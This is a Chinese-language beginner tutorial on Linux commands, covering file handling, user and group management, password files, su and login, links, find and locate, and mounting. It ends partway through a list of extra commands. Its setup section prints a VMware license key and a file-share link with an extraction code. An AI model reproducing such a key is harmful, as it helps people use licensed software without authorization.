Linux 电脑系统基本操作

Linux 电脑系统基本操作

  • Linux 系统常用命令
    • 零、 基础学习
      • 0.1 简介
      • 0.2 入门学习
    • 一、常用命令介绍
      • 1.1 整理归纳
      • 1.2 特殊文件、文件夹与目录表示
      • 1.3 查询命令帮助语句
      • 1.4 用户管理
        • 1.4.1 useradd 命令
        • 1.4.2 userdel 命令
        • 1.4.3 groupadd 命令
        • 1.4.4 groupdel 命令
        • 1.4.5 id 命令
        • 1.4.6 groups 命令
        • 1.4.7 usermod 命令
        • 1.4.8 groupmod命令
        • 1.4.8 finger 命令
      • 1.5 用户密码管理
      • 1.6 用户登录
        • 1.6.1 图形化界面登录
        • 1.6.2. 使用login命令登录
        • 1.6.3 su命令切换用户身份
      • 1.7 文件/目录在磁盘中存放
        • 1.7.1 文件/目录链接
      • 1.8 文件/目录查找和定位
      • 1.9 挂载
        • 1.9.1 mount 命令
        • 1.8.2 umount 命令
    • 二、其他系统版本
      • CentOS
      • 黑客命令行(Kaili_Linux)
        • 技术应用
    • 三、框架
      • 1. Docker(容器)

Linux 系统常用命令

零、 基础学习

0.1 简介

Introduction:Linux中一切皆为文件,不像Windows一样有各个磁盘,Linux中的磁盘也是可以当做文件来进行处理的,通常磁盘是被挂载到/dev目录下。

Linux系统新手很难理解它引用文件和目录的方式,对于习惯于Windows 操作系统方式人来说更是如此,在深入学习Linux系统前,首先要了解下它与Windows不同之处。

  • 第一个不同之处是,Linux中的路径名不使用驱动器盘符,而Windows则是为每个磁盘驱动分配一个盘符。

  • 第二个不同之处是,Linux中只有一个根目录,而Window可以存在多个磁盘盘符,而不是一个。

  • 第三个不同之处是,Linux使用正斜杠/而不是使用反斜杠\来连接两个目录。

0.2 入门学习

  1. Linux系统安装资源:
    链接:https://pan.baidu.com/s/1EjtmVMdStY6JuTOvBCzieA
    提取码:fcws

  2. 下载VMware软件、ubuntu镜像(上面是下载地址)
    安装软件,软件秘钥:VC1J8-0TX11-M84WP-2WNGX-PQKD8(如果有问题可以问)
    安装Ubuntu系统

  3. 安装Vmware软件教程:https://blog.csdn.net/qq_32786873/article/details/78725247
    版本不一样,但是基本的流程类似

  4. 安装Ubuntu系统:https://blog.csdn.net/weixin_44218204/article/details/86083625
    基本流程相似,相互可以做参考

  5. Ubuntu学习电子书

一、常用命令介绍

1.1 整理归纳

Command Analysis
cd cd(Change Directory): 切换当前目录
pwd pwd(Print Working Directory ):显示当前所在目录
ls ls(list): 列出指定目录列表信息,如果没有参数,默认列出当前目录下的所有文件和文件夹(隐藏文件和文件夹除外)
touch 命令格式:touch filename 创建一个新的空文件
rm 删除我们已经有的或者创建的文件filename
mkdir 新创建一个文件夹
rmdir或者rm -r 删除(remove)文件夹(空/非空)
cp 将一个或多个源文件或者目录复制到指定的目录中
mv 来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中
man 查询命令的帮助文件
info 查询命令的帮助文件
whatis (command) 用来显示命令的简短描述
useradd 创建一个新用户
userdel 删除一个已经存在的用户
passwd 修改用户密码
chpasswd 批量修改用户密码(更改的是/etc/passwd文件)
login 让用户登录系统
su 切换用户身份
cat,head,tail 查看文件内容(不能编辑只能查看)
groupadd 创建一个新用户组
groupdel 删除一个已经存在的用户组
id,group 查看一个用户所属的组
usermod 修改用户组
groupmod 修改用户组信息
finger 来查询用户的信息(默认没有安装)
chmod 修改文件权限
df 显示磁盘分区上的可使用的磁盘空间(默认显示单位为KB)
du 对文件和目录磁盘使用的空间的查看
ln 创建一个超链接文件
mount 可以将分区挂接到 Linux 的一个文件夹下
mkisofs 制作成一个光盘镜像文件
locate 用来查找文件或目录
updatedb 创建或更新locate命令所必需的数据库文件。
which 用来查找系统PATH目录下的,可执行文件(shell内建命令)
whereis 可以用来查找二进制(命令)、源文件、man文件。通过文件索引数据库而非PATH来查找的,所以查找的面比which要广
find 在指定目录下查找文件

1.2 特殊文件、文件夹与目录表示

Extension usage 常用特殊文件、文件夹与目录表示
Command Analysis
cd 进入用户主目录
cd ~ 进入用户主目录
cd / 切换当前目录到根目录
cd - 返回进入此目录之前所在的目录
cd … 返回上级目录(若当前目录为”/“,则执行完后还在”/“;”…”为上级目录的意思)
cd …/… 返回上两级目录
cd !$ 上个命令的参数作为cd参数使用
常见ls命令选项
ls -l 长格式显示目录下的内容列表。输出的信息从左到右依次包括文件名,文件类型、权限模式、硬连接数、所有者、组、文件大小和文件的最后修改时间等
ls -li 查看文件的详细信息(包括链接)
ls -a 显示所有文件和文件夹(包括隐藏文件/文件夹)。
ls param 目录 -a:显示所有档案及目录(ls内定将档案名或目录名称为“.”的视为影藏,不会列出);-A:显示除影藏文件“.”和“..”以外的所有文件列表;-l:列出内容的详细信息;-r:以文件名反序排列并输出目录内容列表;-s:显示文件和目录的大小,以区块为单位;-i:显示文件索引节点号(inode)。一个索引节点代表一个文件;-R:递归处理,将指定目录下的所有文件及子目录一并处理。
touch filename 创建一个新的文件filename,如果想同时创建多个文件也可以使用touch命令完成,具体格式如下:touch file1 file2 …只需将不同的文件名用空格分隔即可完成创建多个文件。
rm [option] filename 常用命令选项: -f:强制(force)删除文件或目录; -r或-R:递归(recursion)处理,将指定目录下的所有文件与子目录一并处理; -i:删除已有文件或目录之前先询问(inquiry)用户。可以使用通配符来删除文件。
mkdir [option] dirname 常用命令选项: -p或–parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录;
rmdir [option] dirname 常用命令选项:-p或–parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;可以使用通配符来删除目录。
cp [option] (源文件) (目的文件) 常用命令选项: -f:强行复制文件或目录,不论目标文件或目录是否已存在;-i:覆盖既有文件之前先询问用户;-p:保留(keep)源文件或目录的属性;-R/r:递归处理,将指定目录下的所有文件与子目录一并处理。
mv [option] (源文件) (目标文件) 常用命令选项:-f:强行复制文件或目录,不论目标文件或目录是否已存在; -i:覆盖既有文件之前先询问用户;-p:保留源文件或目录的属性;-R/r:递归处理,将指定目录下的所有文件与子目录一并处理’。可以使用通配符来移动目录,源目录和目标目录重名,则采用合并的方式,其对于文件则是直接覆盖。
cat 参数 文件名 常用参数如下:-n 或 --number:由1开始对所有输出的行数编号;–b 或 --number-nonblank:和-n相似,只不过对于空白行不编号。
head 参数 文件名 -n number:显示文件的前number行内容;从文件的开头显示内容,默认情况下只显示前10行的内容
tail 参数 文件名 -n number:显示文件的最后number行内容;从文件的结尾显示内容,默认情况下只显示最后10行的内容

Notice:mkdir命令创建一个空目录后,该目录下只存在两个特殊的目录,分别是...

1.3 查询命令帮助语句

Extension usage 查询命令帮助语句
Command Analysis
man [章节] command 常用命令如下:d, Ctrl+D: 向文件尾部(afterbody)翻半屏;u, Ctrl+U: 向文件首部(prelude)翻半屏; q: 退出; #:跳转至第#行; 1G: 回到(go back)文件首部; G:翻至(go to)文件尾部
man /KEYWORD: 以KEYWORD指定的字符串为关键字,从当前位置向文件尾部搜索,不区分字符大小写;-n: 下一个, -N:上一个(n同方向,N反方向,相对关键字搜索方向)
man ?KEYWORD 以KEYWORD指定的字符串为关键字,从当前位置向文件首部搜索,不区分字符大小写; -n: 跟搜索命令同方向,下一个,-N:跟搜索命令反方向,上一个
info [option] command 常用命令参数选项:-d:添加包含info格式帮助文档的目录;-f:指定要读取的info格式的帮助文档;-n:指定首先访问的info帮助文件的节点(node);-o:输出(out)被选择的节点内容到指定文件。常见命令如下:?键:它就会显示info的常用快捷键;N键:显示(相对于本节点的)下一节点的文档内容;P键:显示(相对于本节点的)前一节点的文档内容;U键:进入当前命令所在的主题(subject);M键:敲M键(document)后输入命令的名称就可以查看该命令的帮助文档了;G键:敲G键后输入主题(generated)名称,进入该主题;L键:回到上一个访问的页面;SPACE键:向前滚动一页;BACKUP或DEL键:向后滚动一页;Q:退出info。
  • Introduction:inux中使用info命令来查询命令的帮助文件。info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。
  • Notice:命令的帮助文件通常存放在/usr/share/man目录下。
    man目前包含9个章节,章节用数字表示(如果查询命令的时候不追加章节,则默认从第一个章节开始查询,以此类推,直到找到对应要查询的命令为止),分别是:
  1. 用户命令
  2. 系统调用
  3. C库调用
  4. 设备文件及特殊文件
  5. 配置文件格式
  6. 游戏
  7. 杂项
  8. 管理类的命令
  9. Linux 内核API

1.4 用户管理

从广义上讲,Linux系统账户包括用户账号和组账号两类。用户账号又分为普通用户账号和超级用户账号(root) ;组账号又分为私有组、系统组和标准组。
Detail:

  1. 建立账户时,若没有指定账户所属的组,系统会建立一个和用户名相同的组,这个组就是私有组,这个组只容纳了一个用户。

  2. 标准组可以容纳多个用户,组中的用户都具有组所拥有的权利。

  3. 系统组是Linux系统自动建立的。

Extension usage 用户管理
Command Analysis
useradd [命令参数] 参数 常见命令参数:-d<登入(add)目录>:指定用户登入时的启始目录;-D:查看或变更预设值(data);-g<群组>:指定用户所属的群组; -G 组名 用户名同时为用户添加其它组;-m:自动建立用户的登入目录;-M:不要自动建立用户的登入目录;-s:指定用户登入后所使用的shell。
userdel [命令参数] 参数 常见命令参数:-f:强制删除用户,即使用户当前已登录;-r:删除用户的同时,删除与用户相关的所有文件
groupadd [命令参数] 参数 常见命令参数:-g:指定新建工作组的id;-r:创建系统工作组,系统工作组的组ID小于500;
groupdel 参数 参数为要删除的用户组名
id [order] 参数 参数为要查询的用户名,默认是当前登录用户。常见命令参数:-g或–group:显示用户所属群组的ID;-G或–groups:显示用户所属附加群组的ID;-n或–name:显示用户,所属群组或附加群组的名称。
groups (args) 参数为要查询的用户名,默认是当前登录用户。一个用户是可以属于多个组
usermod 命令 参数 常见命令参数:-c<备注>:修改用户帐号的备注文字;-d<登入目录>:修改用户登入时的目录;-e<有效期限>:修改帐号的有效期限;-f<缓冲天数>:修改在密码过期后多少天即关闭该帐号;-g<群组>:修改用户所属群组;-G<群组>;修改用户所属的附加群组;-l<帐号名称>:修改用户帐号名称;-L:锁定用户密码,使密码无效;-s:修改用户登入后所使用的shell;-u:修改用户ID;-U:解除密码锁定
groupmod [命令参数] 参数 常见命令参数:-g<群组识别码>:设置欲使用的群组识别码;-n<新群组名称>:设置欲使用的群组新名称
finger [command] 参数 常见命令参数:-l:多行显示;-s:单行显示。这个选项只显示登入名称、真实姓名、终端机名称、闲置时间、登入时间、办公室号码及电话号码。如果所查询的使用者是远端服务器的使用者,这个选项无效。

Notice:useradd、userdel、passwd、chpasswd、groupadd、groupdel、usermod必须以root权限才能执行,如果是普通用户想创建一个新用户时,需要在命令前加sudo命令来提升权限为root权限。

id,group命令的执行权限是面向所有用户。

1.4.1 useradd 命令

  1. 查看useradd系统默认属性值,使用命令useradd -D。
    Linux 电脑系统基本操作_第1张图片
    Linux 电脑系统基本操作_第2张图片

  2. 使用useradd命令新创建一个用户test,并且自动建立用户的登入目录。
    创建用户
      我们了解到,Linux中用户信息是保存在/etc/passwd文件中,我们可以使用命令tail /etc/passwd命令查看/etc/passwd文件最后10行中是否存在刚刚新创建的test用户信息。
    Linux 电脑系统基本操作_第3张图片

  3. 新创建一个用户组newGroup,并且使用useradd命令新创建用户newUser同时将其所属组修改为newGroup。
    创建并修改

  4. 新创建一个用户组newGroup,并且使用useradd命令新创建用户newUser同时为其添加一个新的用户组newGroup。
    创建并添加

1.4.2 userdel 命令

  1. 使用userdel命令删除一个已经存在的用户test,并且自动删除其家目录文件。
    Linux 电脑系统基本操作_第4张图片
    因为系统默认是不会给新创建的用户自动创建一个文件夹用于用户账户接收邮件,所以在使用userdel -r命令删除的时候会提醒/var/mail/test文件夹不存在。

1.4.3 groupadd 命令

  1. 使用groupadd命令新创建一个用户组testGroup
    新建用户组
    Linux中用户组信息是保存在/etc/group文件中,我们可以使用命令tail /etc/group命令查看/etc/group文件最后10行中是否存在刚刚新创建的testGroup用户信息。
  2. 使用groupadd命令新创建一个用户组testGroupID,并且指定组的ID
    指定ID

注意:我们可以看到有时执行sudo命令就不需要输入密码,这是因为每次都输入密码比较麻烦,所以Linux会设置一个sudo的会话时间,就是说我们在第一次执行sudo的时候是要输入密码,那么在接下来的一段时间内在执行sudo的时候就不需要输入密码,这个会话时间默认是5分钟,用户也可以通过编辑/etc/sudoers来修改这个会话时间的大小。

同样我们可以使用命令tail /etc/group命令查看/etc/group文件最后10行中是否存在刚刚新创建的testGroupID用户信息。

1.4.4 groupdel 命令

  1. 使用groupdel命令删除上面创建的testGroup和testGroupID组
    Linux 电脑系统基本操作_第5张图片

1.4.5 id 命令

  1. 使用id命令查看用户fzm所属组。
    查看所属

1.4.6 groups 命令

  1. 使用groups命令查看用户fzm所属组。
    查看所属

1.4.7 usermod 命令

  1. 新创建一个用户newUser和新创建一个用户组newGroup,使用usermod命令将newUser用户所属组修改为newGroup。
    Linux 电脑系统基本操作_第6张图片
    首先,创建用户newUser和组newGroup,使用groups命令查看用户newUser所属的组,因为默认情况下新创建用户的时候会默认创建一个与用户名同名的私有组,并将新创建的用户所属组设置为私有组。接下来使用usermod命令来修改用户所属组,最后查看修改是否成功。
  2. 新创建一个用户newUser和新创建一个用户组newGroup,使用usermod命令为newUser用户新添加一个组newGroup。
    Linux 电脑系统基本操作_第7张图片
    创建用户newUser和组newGroup,使用groups命令查看用户newUser所属的组。接下来使用usermod命令来为用户添加一个新的组,最后查看添加是否成功。
  3. 使用usermod命令修改用户名。
    Linux 电脑系统基本操作_第8张图片
  4. 使用usermod命令修改用户登录目录。
    Linux 电脑系统基本操作_第9张图片

1.4.8 groupmod命令

  1. 使用groupmod命令修改已有用户组名称。
    Linux 电脑系统基本操作_第10张图片
    首先通过tail命令查看一个已有用户组信息,可以看到该用户组名为oldUser,并且组ID为1004,通过groupmod命令将其名由oldUser修改成renameOldUser,最后使用再查看是否修改成功。

1.4.8 finger 命令

注意:Ubuntu系统中默认没有安装finger命令,用户可以通过以下命令来安装finger,然后就可以使用finger。

  1. 使用finger命令查看用户信息。
    Linux 电脑系统基本操作_第11张图片
sudo apt-get install finger

1.5 用户密码管理

Extension usage 用户密码管理
Command Analysis
passwd [命令参数] 参数 常见命令参数:-d 删除密码;-l 停止账号使用;-S 显示密码信息。
chpasswd [命令参数] 参数 从标准输入批量读取成对的用户名和密码,其中输入的用户名和密码的格式为用户名:密码。
  • 用户密码存放地及方式

Linux中用户的登录密码是存放在/etc/shadow文件中,/etc/shadow文件中存放的是加密过后的密码,所以在/etc/shadow文件中看到的密码是加密过后的密文。

Linux 电脑系统基本操作_第12张图片
可以看到第一个冒号前是用户名,用户名是以明文的方式存放。

在第一个冒号和第二个冒号之间存放的是加密过后的密码,密码是以密文的方式存放,其中密文是由用户密码和其它信息加密后组成的,这里不做详细讲解,我们只需要知道如果第一个冒号和第二个冒号之间是*或者!或者空,则表示该用户没有密码,否则,则表示该用户是有密码。

例如:用户名fzm是存在密码,而mysql是不存在密码的。

  1. 使用useradd命令来新创建一个用户,使用passwd命令来设置登录密码。
    Linux 电脑系统基本操作_第13张图片

    使用useradd命令创建一个新用户(test),此时test用户是没有密码的,所以使用tail -n 1 /etc/shadow命令查看/etc/shadow文件的最后一行可以看出test用户密码部分为!。

    使用passwd命令为test用户设置密码时,可以看到需要输入两次密码,目的是为了确保两次输入的密码一致。当设置完密码后,可以看到/etc/shadow文件中test用户的密码部分已经为加密过后的密文。

  2. 使用passwd命令来清除用户的密码。
    清除密码
    使用passwd命令清除用户test的登录密码,使用tail -n 1 /etc/shadow命令查看/etc/shadow文件的最后一行可以看出test用户密码部分为空,此时test用户是没有密码的。

  3. 使用chpasswd命令修改用户密码

chpasswd命令通常是用于批量修改用户密码,从标准输入批量读取成对的用户名和密码,其中输入的用户名和密码的格式为用户名:密码。

例如要批量更新用户密码,将用户名和密码写入到一个文件中,格式如下所示:
写入文件
然后执行执行如下命令来更新密码:

sudo chpasswd < batch.txt

Notice: < 符号表示输入重定向。

  1. 使用chpasswd命令来更新用户登录密码。
    更新密码
    chpasswd是从键盘不断的读入指令,我们可以使用Ctrl+D组合键来结束键盘输入。

1.6 用户登录

Extension usage 用户登录
Command Analysis
login [command] 参数 常见命令参数:-p:告诉login指令不销毁环境变量;-h:指定远程服务器的主机名。
su [command] 参数 常见命令参数:-c <指令>或–command=<指令>:执行完指定的指令后,即恢复原来的身份;-l或–login:改变身份时,也同时变更工作目录,以及HOME,SHELL,USER,logname。此外,也会变更PATH变量;-m,-p或–preserve-environment:变更身份时,不要变更环境变量;-s或–shell=:指定要执行的shell。

1.6.1 图形化界面登录

Linux中添加用户后,用户在图形界面登录系统的方式和Windows一样,都是选择要登录的用户后直接输入登录密码即可。

1.6.2. 使用login命令登录

introduction:login命令是让用户登录系统,可通过它的功能随时更换登入身份。当/etc目录里含名称为nologin的文件时,系统只允许root帐号登入系统,其他用户一律不准登入。

当使用login命令登录系统后,可以使用logout命令或者exit命令来退出当前用户登录,返回到登录前的用户状态。

参数为登录的用户名,可以不输入登录的用户名,直接输入login命令后回车,然后根据提示再输入用户名和密码。
Notice:login必须以root权限才能执行,如果是普通用户执行时,需要在命令前加sudo命令来提升权限为root权限。

  1. 使用login命令来登录系统(文件/etc/nologin不存在)。首先查看当前登录的用户名是fzm。
    查看登录用户名
    使用newUser用户来登录系统,然后查看当前登录的用户名。
    Linux 电脑系统基本操作_第14张图片
    使用logout或者exit命令退出newUser用户,然后在查看当前登录用户是否为fzm。
    查看

  2. 使用login命令来登录系统(文件/etc/nologin存在)。

在/etc目录下新创建一个nologin文件,使用如下命令创建:

sudo touch /etc/nologin

使用普通用户newUser来登录系统,查看是否可以登录成功。
Linux 电脑系统基本操作_第15张图片
发现使用newUser用户是无法登录系统的,只有使用root用户才能登录系统。

1.6.3 su命令切换用户身份

su命令用于切换当前用户身份到其他用户身份,变更时须输入所要变更的用户帐号的密码。

当使用su命令切换用户后,使用exit命令退出当前身份,返回原有登录用户身份。

注:如果当前用户身份是root,则使用su命令切换到其他用户的时候不需要相应用户的密码,su命令所有使用者都可以执行。

参数为登录的用户名,如果没有参数,则默认切换为root用户。

  1. 使用su命令切换当前用户身份(不改变当前工作目录)。首先查看当前登录的用户名是fzm,当前工作目录是/home/fzm。
    预先查看
    切换当前用户为newUser用户,然后查看当前用户身份和当前工作目录。
    Linux 电脑系统基本操作_第16张图片
    使用exit命令退出newUser用户,然后在查看当前登录用户身份和当前工作目录。
    Linux 电脑系统基本操作_第17张图片
  2. 使用su命令切换当前用户身份(改变当前工作目录)。首先查看当前登录的用户名是fzm,当前工作目录是/home/fzm。切换当前用户为newUser用户,然后查看当前用户身份和当前工作目录。
    Linux 电脑系统基本操作_第18张图片
    使用exit命令退出newUser用户,然后在查看当前登录用户身份和当前工作目录。

1.7 文件/目录在磁盘中存放

Description:Linux将一个磁盘划分为不同的分区,每个分区可以有不同的格式,Linux用的系统格式有ext2、ext3和ext4。

Linux能够识别大多数的文件系统格式,包括Windows的系统格式,但是Windows无法直接识别Linux系统格式。

为解决文件的共享使用,Linux系统引入了两种链接:硬链接(hard link) 与软链接(又称符号链接,即soft link或symbolic link)。使用链接的好处可以提高磁盘使用率和文件的安全。

Linux中为了实现不同格式的文件系统可以同时访问,Linux采用的挂载的方法将不同格式的文件系统组织起来。

Extension usage 磁盘中存放
Command Analysis
df order args 常用参数如下:-a或–all:包含全部的文件系统,包括系统特有的/proc等文件系统;-k : 以KB为单位显示各文件系统;-m : 以MB为单位显示各文件系统;-h : 以可读性较高的方式来显示信息;-i或–inodes:显示inode的信息。
du order args 常用参数如下:-a : 列出所有的文件与目录容量,因为默认仅统计目录下面的文件量而已;-h : 以可读性较高的方式来显示信息;-k : 以KB为单位显示容量;-m : 以MB为单位显示容量;-s : 列出总量,不列出每个目录占用的容量。
  1. 将/etc目录下的可用的磁盘容量以易读的格式显示出来
    显示
  2. 注: 直接输入du命令没有加任何参数时,则du会分析当前所在目录的文件与目录所占用的磁盘空间,但是,实际显示时仅会显示目录容量。
    以可读性较高的方式显示多个文件所占磁盘大小。
    可读性较高

1.7.1 文件/目录链接

  Linux中的链接类似于Windows的快捷方式,也就是很多的链接文件(link file)其实都指向同一个源文件(source file)。Linux中链接文件又分为硬链接和软链接两种。

硬链接指通过索引节点来进行链接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种链接就是硬链接。

硬链接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬链接到重要文件,以防止误删的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的链接。只删除一个链接并不影响索引节点本身和其它的链接,只有当最后一个链接被删除后,文件的数据块及目录的链接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬链接文件均被删除。

硬链接特点如下:

  • 文件有相同的inode及data block;
  • 只能对已存在的文件进行创建;
  • 不能交叉文件系统进行硬链接的创建;
  • 不能对目录进行创建,只可对文件创建;
  • 删除一个硬链接文件并不影响其他有相同inode号的文件。
Extension usage 链接
Command Analysis
ln 源文件 目标文件 不加参数为硬链接,软链接:-s 源文件 目标文件
  1. 为当前目录下的文件testFile创建一个硬链接testFileLink:
    创建链接
    在ls结果的最左边一列,是文件的inode值,你可以简单把它想成C语言中的指针。它指向了物理硬盘的一个区块,事实上文件系统会维护一个引用计数,只要有文件指向这个区块,它就不会从硬盘上消失。可以看到,这两个文件就如同一个文件一样,inode值相同,都指向同一个区块。

软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号链接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。

软链接特点如下:

  • 源文件和目标文件有不相同的inode及data block;
  • 软链接没有硬链接的限制,可以对目录文件做符号链接;
  • 软链接可以在不同文件系统之间做软链接;
  • 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l;
  • 符号链接的大小是其链接文件的路径名中的字节数;
  1. 为当前目录下的文件testFile创建一个软链接myLink
    创建软链接
    使用ls -li查看两个文件的详细信息,可以看到两个文件的inode节点号不同,文件myLink的类型为l,可以看到myLink是指向文件testFile的,同时myLink文件的大小为8,正是文件名testFile的字符个数。

1.8 文件/目录查找和定位

Extension usage 查找、定位
Command Analysis
locate [order] 文件/目录 常用命令参数如下:-c, --count 只输出找到的数量; -d, --database DBPATH 使用DBPATH指定的数据库,而不是默认数据库/var/lib/mlocate/mlocate.db; -i, --ignore-case 忽略大小写; -q, --quiet 安静模式,不会显示任何错误讯息;-e, --existing显示当前所存在文件条目
updatedb 命令参数 常用参数如下:-o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件;-U<目录>:更新指定目录的slocate数据库;-v:显示执行的详细过程;
which [order] eg: which passwd
whereis [order] 文件名 常用命令参数如下:-b:只查找二进制文件;-B<目录>:只在设置的目录下查找二进制文件;-m:只查找说明文件;-M<目录>:只在设置的目录下查找说明文件;-s:只查找原始代码文件;-S<目录>只在设置的目录下查找原始代码文件;
find [dir] [-arg] content 常用查找参数如下:-amin<+|-分钟>:查找在指定时间被存取过的文件或目录,单位以分钟计算;-atime<+|-24小时数>:查找在指定时间被存取过的文件或目录,单位以24小时计算;-cmin<+|-分钟>:查找在指定时间之时被更改过的文件或目录;ctime<+|-24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算;-mmin<+|-分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算;-mtime<+|-24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算;-depth:从指定目录下最深层的子目录开始查找;-exec<执行指令>:假设find指令的回传值为True,就执行该指令;-follow:排除符号连接;-gid<群组识别码>:查找符合指定群组识别码的文件或目录;-group<群组名称>:查找符合指定群组名称的文件或目录;-uid<用户识别码>:查找符合指定的用户识别码的文件或目录;-user<拥有者名称>:查找符和指定的拥有者名称的文件或目录;-name<范本样式>:指定字符串作为寻找文件或目录的范本样式;-iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别;-inum:查找符合指定的inode编号的文件或目录;-newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;-size<+|-|=文件大小>:查找符合指定的文件大小的文件;-type<文件类型>:只寻找符合指定的文件类型的文件;-a:是前后条件都要满足;-o :是满足一个条件就好;+:表示大于设置值的文件;- :表示小于设置值的文件;= :表示等于设置值的文件;-type 文件类型使用方法。常见文件类型:f:普通文件l:符号链接d:目录c:字符设备b:设备s:套接字p:Fifo。size <+|-|=文件大小>使用方法,常见文件大小单位:b —— 块(512字节)c —— 字节 w —— 字(2字节)k —— 千字节 M —— 兆字节 G —— 吉字节。-exec使用方法,具体使用方法如下:find … -exec 要执行的命令 {} ; -exec选项后面跟随着所要执行的命令或脚本(针对找到的内容进行的操作),然后是一个空格一对儿{}一个空格和一个\;。注意:要执行的命令和{之间以及}与;之间的空格是不能省略的。
  • 案例演示1:

搜索etc目录下以pass开头的文件或目录,具体使用如下命令:

locate /etc/pass
  • 案例演示2:

搜索包含passwd字母的文件或目录总个数,具体使用如下命令:

locate -c passwd
  • 案例演示3:

新创建一个testFile文件,更新locate数据库后使用locate命令定位该文件,具体使用如下命令:

touch testFile
locate testFile
sudo updatedb
locate testFile
  • 案例演示4:

删除testFile文件,更新locate数据库后使用locate命令定位该文件,具体使用如下命令:

rm testFile
locate testFile
sudo updatedb -U ./
locate testFile
  • 案例演示5:

使用whereis命令查找passwd命令所有信息,包括二进制文件位置、说明文件位置和源码文件位置,具体使用如下命令:

whereis passwd
  • 案例演示6:

使用whereis命令仅查找passwd命令二进制文件位置,具体使用如下命令:

whereis -b passwd
  • 案例演示7:

查找/etc目录下以my开头以.conf结尾的文件或目录,具体使用如下命令:

sudo find /etc -name "my*.conf"
  • 案例演示8:

查找/etc目录下在超过7天前被访问的文件或目录,具体使用如下命令:

sudo find /etc -atime +7
  • 案例演示9:

查找/etc目录下在5分钟内被访问的文件或目录,具体使用如下命令:

sudo find /etc -amin -5
  • 案例演示10:

查找/etc目录下以my开头的目录,具体使用如下命令:

sudo find /etc -name "my*" -a -type d
  • 案例演示11:

查找/etc目录下大于1M的文件,具体使用如下命令:

sudo find /etc -size +1M
  • 案例演示12:

查找/etc目录下大于1M的文件/目录的详细信息,具体使用如下命令:

sudo find /etc -size 1M -exec ls -l {} \;

1.9 挂载

Knowledge:我们知道要将建立起来的磁盘文件系统或软盘正式在Linux上启用,一定要将它载入到文件系统中,而所谓的载入点,则是该分区所在的目录,且该目录下的所有目录都归该分区所有。

如果要用来载入的目录非空,那么,载入了文件系统后,原目录下的文件就会暂时消失。例如:假设/home原本是属于根目录下的分区,其中有/home/test与/home/bird两个目录,此时,我们想要加入新硬盘,直接载入/home中,那么,当载入新分区时,/home目录显示该分区中内容,原有的test与bird这两个目录就会被暂时隐藏起来,并不是被覆盖掉,而是暂时隐藏,等分区被卸载后,该目录的内容就会再次显示。

Extension usage 链接
Command Analysis
mount -order [设备文件名] -挂载点 常用命令参数:-r:将文件系统加载为只读模式;-h:显示帮助信息并退出;-t :指定文件系统类型;-o :描述设备的挂载方式;常用文件系统类型:光盘或光盘镜像:iso9660;DOS fat16文件系统:msdos;Windows 9x fat32文件系统:vfat;Windows NT ntfs文件系统:ntfs;Mount Windows文件网络共享:smbfs;UNIX(LINUX) 文件网络共享:nfs;常用设备的挂载方式:loop:用来把一个文件当成硬盘分区挂接上系统;ro:采用只读方式挂接设备;rw:采用读写方式挂接设备iocharset:指定访问文件系统所用字符集
umount -order - 挂载点 / 设备名 常用命令参数:-r:若无法成功卸除,则尝试以只读的方式重新挂入文件系统;-h:显示帮助信息并退出;

注意:通常在挂载设备时不需要指定文件系统类型,mount会自动选择正确的类型。

执行权限:mount、amount必须以root权限才能执行,如果是普通用户想执行mount时,需要在命令前加sudo命令来提升权限为root权限。

1.9.1 mount 命令

mount是 Linux 下的一个命令,它可以将分区挂接到 Linux 的一个文件夹下,从而将分区和该目录联系起来,因此我们只要访问这个文件夹,就相当于访问该分区了。

mount命令的最常用于挂载cdrom,使我们可以访问cdrom中的数据,因为你将光盘插入cdrom中,早先 Linux 发行版并不会自动挂载,必须使用mount命令来手动完成挂载。

  1. 将文件/etc/passwd制作成一个光盘镜像文件mydisk.iso,创建一个挂载点/home/vcdrom,将镜像文件mydisk.iso挂载到/home/vcdrom目录下,列出镜像文件中的内容,具体使用如下命令:
    Linux 电脑系统基本操作_第19张图片

第一条命令是将/etc/passwd文件制作成一个iso镜像文件;

第二条命令是创建一个挂载点;

第三条命令是将创建好的镜像文件挂载到/home/vcdrom目录下;

第四条命令是查看镜像文件的内容;

1.8.2 umount 命令

umount命令用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统,不过最好还是通过挂载点卸载,以免使用绑定挂载(一个设备,多个挂载点)时产生混乱。
将上一个案例已经挂载好的镜像文件(mydisk.iso)卸载,然后看到挂载点目录内容。将镜像文件从/home/vcdrom目录卸载后,该目录还原为原有的内容,即为空目录。
卸载

 1. htop
Function:互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses(提供字符终端处理库)。
 2 . ps -ef | grep (nginx)
Function:检查Nginx进程是否存在。
ps命令:将某个进程显示出来,
grep命令:查找,是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。
Notice:中间的|是管道命令 是指ps命令与grep同时执行。
 3. history
Function:通过history命令,可以查看我们在系统中输入过的命令。
Detail:
1) bash中默认命令记忆可达1000个。这些命令保存在主文件夹内的.bash_history中。
2) ~/.bash_history:记录的是前一次登录以前所执行过的命令。至于本次登录的命令暂时存储在内存中,注销成功后会写入文件中。
Parameter:
1) -a:追加本次会话新执行的命令历史列表,至历史文件;
